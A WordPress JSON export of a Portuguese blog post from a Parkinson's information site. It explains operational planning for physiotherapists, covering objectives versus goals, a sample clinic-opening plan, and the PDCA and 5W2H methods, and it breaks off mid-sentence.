{"id":285,"date":"2023-08-17T10:26:02","date_gmt":"2023-08-17T13:26:02","guid":{"rendered":"https:\/\/www.tenhoparkinson.com.br\/?p=285"},"modified":"2023-08-17T10:28:03","modified_gmt":"2023-08-17T13:28:03","slug":"fundamentos-de-planejamento-operacional-para-fisioterapeutas","status":"publish","type":"post","link":"https:\/\/www.tenhoparkinson.com.br\/?p=285","title":{"rendered":"Fundamentos de Planejamento Operacional para Fisioterapeutas"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_81 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Posts<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Alternar tabela de conte\u00fado\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=285\/#Marcus_Carvalho_Fonseca_%E2%80%93_agosto_de_2023\" >Marcus Carvalho Fonseca &#8211; agosto de 2023<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=285\/#APRESENTACAO\" >APRESENTA\u00c7\u00c3O<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=285\/#INTRODUCAO\" >INTRODU\u00c7\u00c3O<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=285\/#CONCEITO_DE_PLANEJAMENTO\" >CONCEITO DE PLANEJAMENTO<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=285\/#COMO_ESTRATEGIA_E_OPERACAO_SE_COMPLEMENTAM\" >COMO ESTRAT\u00c9GIA E OPERA\u00c7\u00c3O SE COMPLEMENTAM?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=285\/#PLANEJAMENTO_OPERACIONAL\" >PLANEJAMENTO OPERACIONAL<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=285\/#AS_DIFERENCAS_ENTRE_OBJETIVOS_E_METAS\" >AS DIFEREN\u00c7AS ENTRE OBJETIVOS E METAS<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=285\/#MELHORIA_CONTINUA_E_OS_METODOS_PDCA_E_5W2H\" >MELHORIA CONT\u00cdNUA E OS M\u00c9TODOS PDCA E 5W2H<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=285\/#FIGURA_DO_CICLO_PDCA\" >FIGURA DO CICLO PDCA<\/a><\/li><\/ul><\/nav><\/div>\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Marcus_Carvalho_Fonseca_%E2%80%93_agosto_de_2023\"><\/span>Marcus Carvalho Fonseca &#8211; agosto de 2023<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"APRESENTACAO\"><\/span>APRESENTA\u00c7\u00c3O<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>TenhoParkinson (<a href=\"http:\/\/www.tenhoparkinson.com.br\">www.tenhoparkinson.com.br<\/a>) \u00e9 uma iniciativa cujo objetivo \u00e9 disseminar informa\u00e7\u00e3o relevante sobre a doen\u00e7a de Parkinson (DP).<\/p>\n\n\n\n<p>Os textos desenvolvidos pela TenhoParkinson s\u00e3o apresentados em linguagem coloquial visando atender todo o conjunto de pessoas com interesse na DP (pacientes, cuidadores, familiares e estudantes e profissionais da \u00e1rea da sa\u00fade). O objetivo maior \u00e9 fazer com que esses grupos de pessoas se interessem cada vez mais por conhecer a doen\u00e7a na perspectiva de quem tamb\u00e9m \u00e9 uma pessoa com DP.<\/p>\n\n\n\n<p>\u00c9 importante ressaltar que n\u00e3o sou profissional da \u00e1rea da sa\u00fade. <em>\u00a0<\/em>Portanto<em>,<\/em> n\u00e3o utilize de forma alguma nenhuma parte do conte\u00fado para automedica\u00e7\u00e3o.<\/p>\n\n\n\n<p>Os conte\u00fados apresentados s\u00e3o uma parte do conhecimento constru\u00eddo ao longo de anos sobre a doen\u00e7a de Parkinson, por meio de muitas conversas com outras pessoas com a doen\u00e7a e profissionais da sa\u00fade especializados, com pesquisas na internet, com a leitura de livros diversos e com a observa\u00e7\u00e3o criteriosa dos diferentes ambientes onde realizei consultas, exames e terapias de reabilita\u00e7\u00e3o.<\/p>\n\n\n\n<p>Este texto apresenta links para outros sites da Internet; foram tomados os cuidados poss\u00edveis para garantir a origem e a exatid\u00e3o das informa\u00e7\u00f5es t\u00e9cnicas apresentadas.<\/p>\n\n\n\n<p>Foram utilizados tamb\u00e9m trechos adaptados de respostas obtidas no Chat GPT-4 da OpenAI. Esse modelo \u00e9 capaz de responder perguntas, fornecer explica\u00e7\u00f5es detalhadas, gerar conte\u00fado original e at\u00e9 mesmo manter di\u00e1logos interativos com os usu\u00e1rios. Mais detalhes veja no link <a href=\"https:\/\/openai.com\/gpt-4\">https:\/\/openai.com\/gpt-4<\/a><\/p>\n\n\n\n<p>Havendo d\u00favidas relativas a alguma informa\u00e7\u00e3o t\u00e9cnica encontrada neste texto ou em outros dispon\u00edveis no nosso website, utilize o fale conosco ou consulte o profissional da sa\u00fade que o atende.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"INTRODUCAO\"><\/span>INTRODU\u00c7\u00c3O<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Este texto foi elaborado visando oferecer subs\u00eddios complementares ao que foi conversado com terapeutas do Grupo de Estudos na doen\u00e7a de Parkinson &#8211; GEDOPA no dia 29 de junho de 2023. Na ocasi\u00e3o tratamos de aspectos relacionados com o planejamento operacional. Por isso, o escopo deste texto n\u00e3o aborda m\u00e9todos para a elabora\u00e7\u00e3o de planejamento estrat\u00e9gico e an\u00e1lise da competitividade. Seu foco \u00e9 essencialmente o planejamento operacional. N\u00e3o se trata de colocar o planejamento operacional numa posi\u00e7\u00e3o de maior relev\u00e2ncia, apenas focar na demanda mais interessante para o grupo nesse momento. Apesar de ter sido elaborado com foco na \u00e1rea de fisioterapia, o presente texto se aplica a diferentes \u00e1reas de conhecimento da sa\u00fade.<\/p>\n\n\n\n<p>Para o fisioterapeuta o planejamento operacional pode ser confundido com o plano terap\u00eautico; no entanto, o segundo faz parte do primeiro. Ap\u00f3s avalia\u00e7\u00e3o e diagn\u00f3stico, o fisioterapeuta pode elaborar um plano de tratamento personalizado, definindo metas terap\u00eauticas, modos de interven\u00e7\u00e3o, frequ\u00eancia e dura\u00e7\u00e3o do tratamento. Mas n\u00e3o \u00e9 s\u00f3 isso, a pr\u00e1tica do planejamento \u00e9 muito mais abrangente e est\u00e1 presente em muitas outras atividades da fisioterapia. Vamos discutir como e por qu\u00ea. O primeiro passo \u00e9 entendemos o que \u00e9 planejamento e quais s\u00e3o suas principais tipologias e respectivos objetivos.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"CONCEITO_DE_PLANEJAMENTO\"><\/span>CONCEITO DE PLANEJAMENTO<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>No seu conceito mais abrangente, o planejamento \u00e9 um processo sistem\u00e1tico e continuado que nos ajuda a lidar com as incertezas do futuro, apoiando os processos de tomada de decis\u00f5es e definindo a\u00e7\u00f5es para a conquista de objetivos.<\/p>\n\n\n\n<p>Podemos desdobrar este conceito para melhor entendimento, conforme a seguir:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u201cprocesso sistem\u00e1tico\u201d porque faz parte do sistema organizacional e constitui-se numa s\u00e9rie de etapas ou atividades definidas e relacionadas entre si, que se repetem ao longo do tempo, com o objetivo de alcan\u00e7ar um resultado espec\u00edfico;<\/li>\n\n\n\n<li>\u201ccontinuado\u201d, ou sem fim, porque faz uso de retroalimenta\u00e7\u00e3o constante (<em>feedback<\/em>) para prevenir e identificar desvios e suas causas b\u00e1sicas, corrigi-los, evitar sua reincid\u00eancia e planejar novamente, se necess\u00e1rio;<\/li>\n\n\n\n<li>\u201cque nos ajuda a lidar com as incertezas do futuro\u201d porque faz uso de diversas t\u00e9cnicas para obter informa\u00e7\u00f5es sobre possibilidades do futuro;<\/li>\n\n\n\n<li>\u201cque apoia os processos de tomada de decis\u00f5es\u201d porque define referenciais, explicita crit\u00e9rios, orienta a a\u00e7\u00e3o e, por isso, facilita a tomada de decis\u00e3o;<\/li>\n\n\n\n<li>\u201cque define a\u00e7\u00f5es para a conquista de objetivos\u201d porque possui uma fase de constru\u00e7\u00e3o de inten\u00e7\u00f5es (premissas, diretrizes, objetivos e metas) e uma fase de execu\u00e7\u00e3o de a\u00e7\u00f5es, que s\u00e3o definidas por um documento denominado plano de a\u00e7\u00e3o;<\/li>\n<\/ul>\n\n\n\n<p>Suas principais tipologias s\u00e3o:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>estrat\u00e9gico ou operacional;<\/li>\n\n\n\n<li>curto ou longo prazo;<\/li>\n\n\n\n<li>de projetos ou de processos.<\/li>\n<\/ul>\n\n\n\n<p>Para entendermos melhor, podemos recorrer \u00e0 raiz do conceito, que \u00e9 a defini\u00e7\u00e3o de \u201cestrat\u00e9gia\u201d. Dentre dezenas de defini\u00e7\u00f5es citadas na literatura, consideramos aquela relacionada com a constru\u00e7\u00e3o do futuro de uma organiza\u00e7\u00e3o ou pessoa. Estrat\u00e9gia \u00e9 futuro; \u00e9 pensar no futuro; \u00e9 pensar, definir e construir os melhores caminhos para se atingir esse estado futuro.<\/p>\n\n\n\n<p>Sendo assim, podemos considerar o <strong>planejamento estrat\u00e9gico<\/strong> como um processo que envolve a defini\u00e7\u00e3o de objetivos para o futuro da organiza\u00e7\u00e3o e a formula\u00e7\u00e3o de estrat\u00e9gias para alcan\u00e7ar esses objetivos.<\/p>\n\n\n\n<p>Hoje o planejamento estrat\u00e9gico \u00e9 uma das ferramentas mais utilizadas no meio empresarial. Lidar com as incertezas do futuro \u00e9 o seu maior desafio e se constitui num assunto complexo e abrangente que envolve a participa\u00e7\u00e3o de especialistas de diferentes \u00e1reas<a href=\"#_ftn1\" id=\"_ftnref1\">[1]<\/a>. Apenas como est\u00edmulo \u00e0 nossa curiosidade, imagine que iremos realizar um planejamento estrat\u00e9gico para um ambulat\u00f3rio de fisioterapia. Focando nos aspectos tecnol\u00f3gicos, ainda que de forma superficial, acho que todos concordam que a tecnologia continuar\u00e1 desempenhando um papel importante, com avan\u00e7os como: realidade virtual\/aumentada, intelig\u00eancia artificial, gamifica\u00e7\u00e3o, rob\u00f3tica e dispositivos vest\u00edveis que ser\u00e3o cada vez mais integrados aos tratamentos fisioterap\u00eauticos. Essas tecnologias poder\u00e3o ajudar a melhorar a precis\u00e3o do diagn\u00f3stico, a personaliza\u00e7\u00e3o do tratamento, a reabilita\u00e7\u00e3o virtual e o monitoramento remoto do paciente.<\/p>\n\n\n\n<p>Esses itens dever\u00e3o ser considerados no planejamento estrat\u00e9gico do ambulat\u00f3rio, lembrando sempre que n\u00e3o h\u00e1 determinismo, ou seja, o planejamento n\u00e3o prev\u00ea o futuro, mas nos ajuda a estar preparados para ele.<\/p>\n\n\n\n<p>E o <strong>planejamento operacional<\/strong>, quais as suas caracter\u00edsticas?<\/p>\n\n\n\n<p>A principal caracter\u00edstica de um plano operacional \u00e9 sua natureza pr\u00e1tica e detalhada que nos ajuda pensar, decidir e agir no curto prazo, no n\u00edvel operacional. Ele delineia as a\u00e7\u00f5es espec\u00edficas, os recursos necess\u00e1rios, os prazos e as responsabilidades para implementar as estrat\u00e9gias e atingir os resultados desejados.<\/p>\n\n\n\n<p>Como classifica\u00e7\u00e3o geral, o planejamento de longo prazo est\u00e1 associado \u00e0 estrat\u00e9gia e o planejamento de curto prazo \u00e0s opera\u00e7\u00f5es da organiza\u00e7\u00e3o. Ambos podem ser utilizados para processos e projetos. A diferen\u00e7a b\u00e1sica entre um projeto e um processo est\u00e1 relacionada aos objetivos de cada um.<\/p>\n\n\n\n<p>Um projeto \u00e9 uma atividade tempor\u00e1ria com in\u00edcio e fim definidos, conduzida para criar um produto, servi\u00e7o ou resultado diferenciado. Ele \u00e9 desenvolvido para alcan\u00e7ar objetivos espec\u00edficos dentro de um prazo determinado. Os projetos t\u00eam metas claras e bem definidas, com o objetivo de criar algo, resolver um problema ou alcan\u00e7ar um resultado espec\u00edfico.<\/p>\n\n\n\n<p>Exemplos: Constru\u00e7\u00e3o de um pr\u00e9dio, desenvolvimento de um novo medicamento, lan\u00e7amento de um produto, implanta\u00e7\u00e3o de um ambulat\u00f3rio etc.<\/p>\n\n\n\n<p>Um processo \u00e9 uma s\u00e9rie de atividades inter-relacionadas e cont\u00ednuas que visam alcan\u00e7ar um resultado que se repete ao longo do tempo. Os processos n\u00e3o t\u00eam um fim definido, mas s\u00e3o executados de forma cont\u00ednua para atingir objetivos em curso.<\/p>\n\n\n\n<p>Os processos s\u00e3o implementados para melhorar a efici\u00eancia, a qualidade e a estabilidade das atividades repetitivas em uma organiza\u00e7\u00e3o. S\u00e3o padronizados e devem ser documentados para permitir a melhoria cont\u00ednua das atividades ao longo do tempo.<\/p>\n\n\n\n<p>Exemplos: processo de acolhimento de pacientes em um hospital, fabrica\u00e7\u00e3o de um produto, processos de reabilita\u00e7\u00e3o etc.<\/p>\n\n\n\n<p>Resumindo, um projeto \u00e9 uma empreitada tempor\u00e1ria, enquanto um processo \u00e9 uma sequ\u00eancia cont\u00ednua de atividades padronizadas e repetitivas ao longo do tempo<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"COMO_ESTRATEGIA_E_OPERACAO_SE_COMPLEMENTAM\"><\/span>COMO ESTRAT\u00c9GIA E OPERA\u00c7\u00c3O SE COMPLEMENTAM?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Antes de tudo, tenha em mente que planejamento sem a\u00e7\u00e3o \u00e9 uma iniciativa in\u00f3cua, \u00e9 perda de tempo! O plano de metas ou plano operacional \u00e9 a ferramenta que vai nos ajudar a transformar a estrat\u00e9gia em a\u00e7\u00e3o. Em resumo, a estrat\u00e9gia estabelece a dire\u00e7\u00e3o e os objetivos de longo prazo, enquanto a opera\u00e7\u00e3o \u00e9 respons\u00e1vel por implementar essas estrat\u00e9gias no n\u00edvel pr\u00e1tico. A colabora\u00e7\u00e3o eficaz entre essas duas \u00e1reas \u00e9 crucial para o sucesso sustentado de uma organiza\u00e7\u00e3o.<\/p>\n\n\n\n<p>A estrat\u00e9gia define os objetivos de longo prazo de uma organiza\u00e7\u00e3o, enquanto a opera\u00e7\u00e3o se concentra em executar tarefas di\u00e1rias para alcan\u00e7ar esses objetivos. Para uma execu\u00e7\u00e3o eficaz as opera\u00e7\u00f5es devem estar alinhadas com os objetivos estrat\u00e9gicos para garantir que cada a\u00e7\u00e3o realizada contribua para o cumprimento desses objetivos.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"PLANEJAMENTO_OPERACIONAL\"><\/span>PLANEJAMENTO OPERACIONAL<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u00c9 comum ouvirmos a frase: defina metas para alcan\u00e7ar resultados. Como j\u00e1 sabemos, as metas s\u00e3o mais detalhadas, mais espec\u00edficas e mais pr\u00f3ximas do contexto operacional das organiza\u00e7\u00f5es, ou seja, de suas a\u00e7\u00f5es. Por isso, controlar seu atingimento \u00e9 mais direto, o que implica em mais facilidade na verifica\u00e7\u00e3o de resultados. A defini\u00e7\u00e3o das metas deve considerar as seguintes premissas:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>que seja espec\u00edfica: significa que n\u00e3o haja ambiguidade que dificulte seu entendimento;<\/li>\n\n\n\n<li>que seja mensur\u00e1vel: significa definir m\u00e9todos para medir e avaliar o progresso em rela\u00e7\u00e3o aos objetivos. Isso permite ajustes se necess\u00e1rio;<\/li>\n\n\n\n<li>que seja temporal: significa que a meta deve estar associada a um prazo de execu\u00e7\u00e3o.<\/li>\n\n\n\n<li>que seja definido quem \u00e9 o respons\u00e1vel por cada tarefa e fun\u00e7\u00e3o. A atribui\u00e7\u00e3o de responsabilidades ajuda a garantir que todos saibam o que \u00e9 esperado de cada um para executar as a\u00e7\u00f5es planejadas;<\/li>\n\n\n\n<li>Parte superior do formul\u00e1rio<\/li>\n\n\n\n<li>que seja vi\u00e1vel na sua execu\u00e7\u00e3o: significa que a meta deve ser vi\u00e1vel de alcan\u00e7ar, considerando os recursos dispon\u00edveis pela organiza\u00e7\u00e3o.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"AS_DIFERENCAS_ENTRE_OBJETIVOS_E_METAS\"><\/span>AS DIFEREN\u00c7AS ENTRE OBJETIVOS E METAS<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Um objetivo pode ser definido como um estado futuro (situa\u00e7\u00e3o ou resultado) que se pretende atingir e se tem real possibilidade de faz\u00ea-lo.&nbsp;<\/p>\n\n\n\n<p>Uma boa dose de est\u00edmulo e desafio deve ser colocada nos objetivos, ou seja, eles n\u00e3o devem ser pura e simplesmente uma continua\u00e7\u00e3o do que se vinha tentando fazer at\u00e9 ent\u00e3o.&nbsp; \u00c9 preciso cuidado, no entanto, para que n\u00e3o se descole da realidade, sonhando muito alto.&nbsp; Um objetivo \u00e9 para ser acompanhado e cumprido; portanto, precisa ser desde a sua defini\u00e7\u00e3o entendido e aceito como fact\u00edvel.&nbsp;<\/p>\n\n\n\n<p>Uma vez definidos, os objetivos s\u00e3o desdobrados em metas, que s\u00e3o os marcos relevantes do plano de a\u00e7\u00e3o. Enquanto os objetivos t\u00eam uma grande abrang\u00eancia, as metas deles desdobradas apresentam desafios mais espec\u00edficos com prazo de execu\u00e7\u00e3o e or\u00e7amento definidos. A abrang\u00eancia refere-se ao n\u00edvel de detalhe que determinada vari\u00e1vel envolve. Veja o exemplo hipot\u00e9tico a seguir.<\/p>\n\n\n\n<p>Um grupo de fisioterapeutas s\u00f3cios da cl\u00ednica FisioAAA, ap\u00f3s a elabora\u00e7\u00e3o de uma an\u00e1lise de mercado e de um plano de neg\u00f3cio, decide implantar uma nova filial da Fisio AAA em um condom\u00ednio empresarial de alto n\u00edvel integrado a um shopping center, na Barra da Tijuca, zona oeste da cidade do Rio de Janeiro. Sem d\u00favidas \u00e9 um objetivo estrat\u00e9gico que necessita ser desdobrado em metas mais detalhadas. Vejamos:<\/p>\n\n\n\n<p>Objetivo: implantar uma nova filial da FisioAAA;<\/p>\n\n\n\n<p>O plano de a\u00e7\u00e3o neste caso \u00e9 de um projeto.<\/p>\n\n\n\n<p>Gestor do projeto: profissional capacitado para acompanhar a evolu\u00e7\u00e3o das metas e o desempenho de cada um dos respons\u00e1veis por elas.<\/p>\n\n\n\n<p>Defini\u00e7\u00e3o das metas:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\">\n<li>Definir as premissas do projeto \u2013 pr\u00e1ticas terap\u00eauticas e sistemas de apoio &#8211; \u00e1rea m\u00ednima e infraestrutura necess\u00e1ria para as diferentes terapias;<\/li>\n\n\n\n<li>Procurar, avaliar e alugar im\u00f3vel para nova filial<\/li>\n\n\n\n<li>Elaborar projeto arquitet\u00f4nico da cl\u00ednica (m\u00f3veis e equipamentos das pr\u00e1ticas terap\u00eauticas definidas \u2013 design de ambientes e ilumina\u00e7\u00e3o)<\/li>\n\n\n\n<li>Elaborar projeto de climatiza\u00e7\u00e3o;<\/li>\n\n\n\n<li>Elaborar projeto de TI;<\/li>\n\n\n\n<li>Aprovar o projeto arquitet\u00f4nico e descritivo das obras e registrar a cl\u00ednica nos \u00f3rg\u00e3os competentes;<\/li>\n\n\n\n<li>Contratar obras necess\u00e1rias segundo projetos arquitet\u00f4nico, de design, de TI, de ilumina\u00e7\u00e3o e de climatiza\u00e7\u00e3o;<\/li>\n\n\n\n<li>Executar projetos de climatiza\u00e7\u00e3o, de TI e de ilumina\u00e7\u00e3o; executar conforme cronograma das obras (meta 7);<\/li>\n\n\n\n<li>Comprar m\u00f3veis e utens\u00edlios de acordo com projeto arquitet\u00f4nico;<\/li>\n\n\n\n<li>Comprar e instalar equipamentos espec\u00edficos para as pr\u00e1ticas de fisioterapia e terapias complementares;<\/li>\n\n\n\n<li>Elaborar e executar plano de marketing para a cl\u00ednica;<\/li>\n\n\n\n<li>Selecionar e contratar pessoal necess\u00e1rio;<\/li>\n\n\n\n<li>Realizar treinamento e capacita\u00e7\u00e3o da equipe;<\/li>\n\n\n\n<li>Iniciar opera\u00e7\u00e3o da cl\u00ednica.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-text-align-left\">Notas:<\/p>\n\n\n\n<p class=\"has-text-align-left\">&#8211; como podem observar, um \u00fanico objetivo foi desdobrado em 14 metas; esse n\u00famero poderia ser maior ou menor dependendo do gestor do projeto que poderia julgar mais conveniente agregar ou desagregar algumas metas em fun\u00e7\u00e3o de interesses diversos;<\/p>\n\n\n\n<p class=\"has-text-align-left\">&#8211; para compor o plano de a\u00e7\u00e3o o gestor do projeto atribui para cada meta o seu respons\u00e1vel pela execu\u00e7\u00e3o, seu prazo de execu\u00e7\u00e3o e os recursos necess\u00e1rios para sua realiza\u00e7\u00e3o.<\/p>\n\n\n\n<p class=\"has-text-align-left\">&#8211; o exemplo apresentado \u00e9 de um projeto de implanta\u00e7\u00e3o de uma cl\u00ednica, que tem in\u00edcio e fim. Uma vez conclu\u00edda a meta 14, com o in\u00edcio de opera\u00e7\u00f5es da cl\u00ednica, o projeto \u00e9 encerrado e passa a vigorar um novo plano operacional baseado nos processos permanentes.<\/p>\n\n\n\n<p>Nessa altura voc\u00ea j\u00e1 deve estar pensando que a coisa \u00e9 um pouco complexa, talvez meio complicada, que vai demandar muito do seu tempo, mas veja que a proposta n\u00e3o \u00e9 essa. O que apresentamos anteriormente, digamos assim, \u00e9 um card\u00e1pio completo, de forma que voc\u00ea possa entender o \u201ctodo\u201d e identificar aquilo que interessa ao seu caso, \u00e0s suas necessidades.<\/p>\n\n\n\n<p>Para n\u00e3o complicar e fazer do planejamento uma ferramenta pouco \u00fatil, procure adotar o crit\u00e9rio da simplicidade, uma caracter\u00edstica daquilo que n\u00e3o \u00e9 complicado, daquilo que n\u00e3o necessita de explica\u00e7\u00e3o e tem facilidade de ser compreendido. A simplicidade se caracteriza pela aus\u00eancia de adornos e perif\u00e9ricos desnecess\u00e1rios.<\/p>\n\n\n\n<p>Mas por que complicamos as coisas, inclusive o planejamento? Esta \u00e9 uma pergunta interessante, j\u00e1 que muitas vezes n\u00f3s ca\u00edmos na armadilha de optar por sistemas ditos completos, com gr\u00e1ficos coloridos e tabelas com in\u00fameras correla\u00e7\u00f5es, aplicativos diversos que apresentam correla\u00e7\u00f5es e proje\u00e7\u00f5es de tudo que se possa imaginar, enfim, uma parafern\u00e1lia que acaba gerando uma forte tenta\u00e7\u00e3o para colocar uma inutilidade a mais no escopo de nossas an\u00e1lises. Isso consome nosso tempo e n\u00e3o agrega valor ao trabalho.<\/p>\n\n\n\n<p>N\u00e3o se esque\u00e7a que \u00e9 assim que as coisas geralmente funcionam:<\/p>\n\n\n\n<p>&#8211; se voc\u00ea n\u00e3o conhece e n\u00e3o entende os limites das suas reais necessidades voc\u00ea acaba consumindo coisas que n\u00e3o precisa;<\/p>\n\n\n\n<p>&#8211; ou com um pouco de humor, \u00e9 assim que tentam nos vender inutilidades: eu n\u00e3o sei qual \u00e9 o seu problema, mas tenho uma \u00f3tima solu\u00e7\u00e3o para voc\u00ea&#8230;<\/p>\n\n\n\n<p>Mas como evitar isso na pr\u00e1tica? O que fazer para que o planejamento seja simples?&nbsp;<\/p>\n\n\n\n<p>Basicamente, buscando sempre o pleno conhecimento de suas reais necessidades por meio da an\u00e1lise de seus processos e seus controles. Sem o dom\u00ednio desse conhecimento, o planejamento se transforma em um jogo de tentativas e erros gerando um ciclo vicioso do tipo: n\u00e3o planejo porque n\u00e3o funciona e n\u00e3o funciona porque n\u00e3o planejo!<\/p>\n\n\n\n<p>Comece sempre a partir do conhecimento das informa\u00e7\u00f5es relevantes que determinam o que deve ser feito, quando e com que recursos. Isso vai facilitar sua vida e organizar seu tempo.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"MELHORIA_CONTINUA_E_OS_METODOS_PDCA_E_5W2H\"><\/span>MELHORIA CONT\u00cdNUA E OS M\u00c9TODOS PDCA E 5W2H<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Para o plano operacional, nosso entendimento \u00e9 que com a utiliza\u00e7\u00e3o do <strong>ciclo PDCA<\/strong> e do m\u00e9todo 5W2H, temos os elementos suficientes para elaborarmos o plano. Vamos conferir?<\/p>\n\n\n\n<p>O ciclo PDCA \u00e9 assim chamado devido ao termo em ingl\u00eas de cada uma de suas quatro etapas:<\/p>\n\n\n\n<p>P: do verbo \u201cto Plan\u201d, ou planejar.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/p>\n\n\n\n<p>D: do verbo \u201cto Do\u201d, fazer ou executar.<\/p>\n\n\n\n<p>C: do verbo \u201cto Check\u201d, checar, analisar ou verificar.<\/p>\n\n\n\n<p>A: do verbo \u201cto Act\u201d, agir de forma a corrigir ou prevenir eventuais erros ou falhas.<\/p>\n\n\n\n<p>Essa sequ\u00eancia de atividades comp\u00f5e um ciclo que se renova conforme frequ\u00eancia definida ou cada vez que um desvio ou problema relevante \u00e9 detectado. A din\u00e2mica desse processo \u00e9 chamada de \u201cgirar o PDCA\u201d. Veja a figura a seguir.<\/p>\n\n\n\n<p>&nbsp;Outro m\u00e9todo \u00fatil para elaborarmos o planejamento operacional, que na realidade se complementa com o PDCA e vice-versa, \u00e9 o 5W2H. Trata-se de um m\u00e9todo muito simples cuja base s\u00e3o as respostas para sete perguntas essenciais, que podem definir o escopo de um plano de a\u00e7\u00e3o.&nbsp;<\/p>\n\n\n\n<p><strong>5W<\/strong><\/p>\n\n\n\n<p>What (o que fazer?)&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Why (por que fazer?) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Where (onde vai fazer?) &nbsp;&nbsp;<\/p>\n\n\n\n<p>When (quando vai fazer?) Who (quem vai fazer?) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/p>\n\n\n\n<p><strong>2H<\/strong><\/p>\n\n\n\n<p>How (como vai fazer?) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; How Much (quanto vai 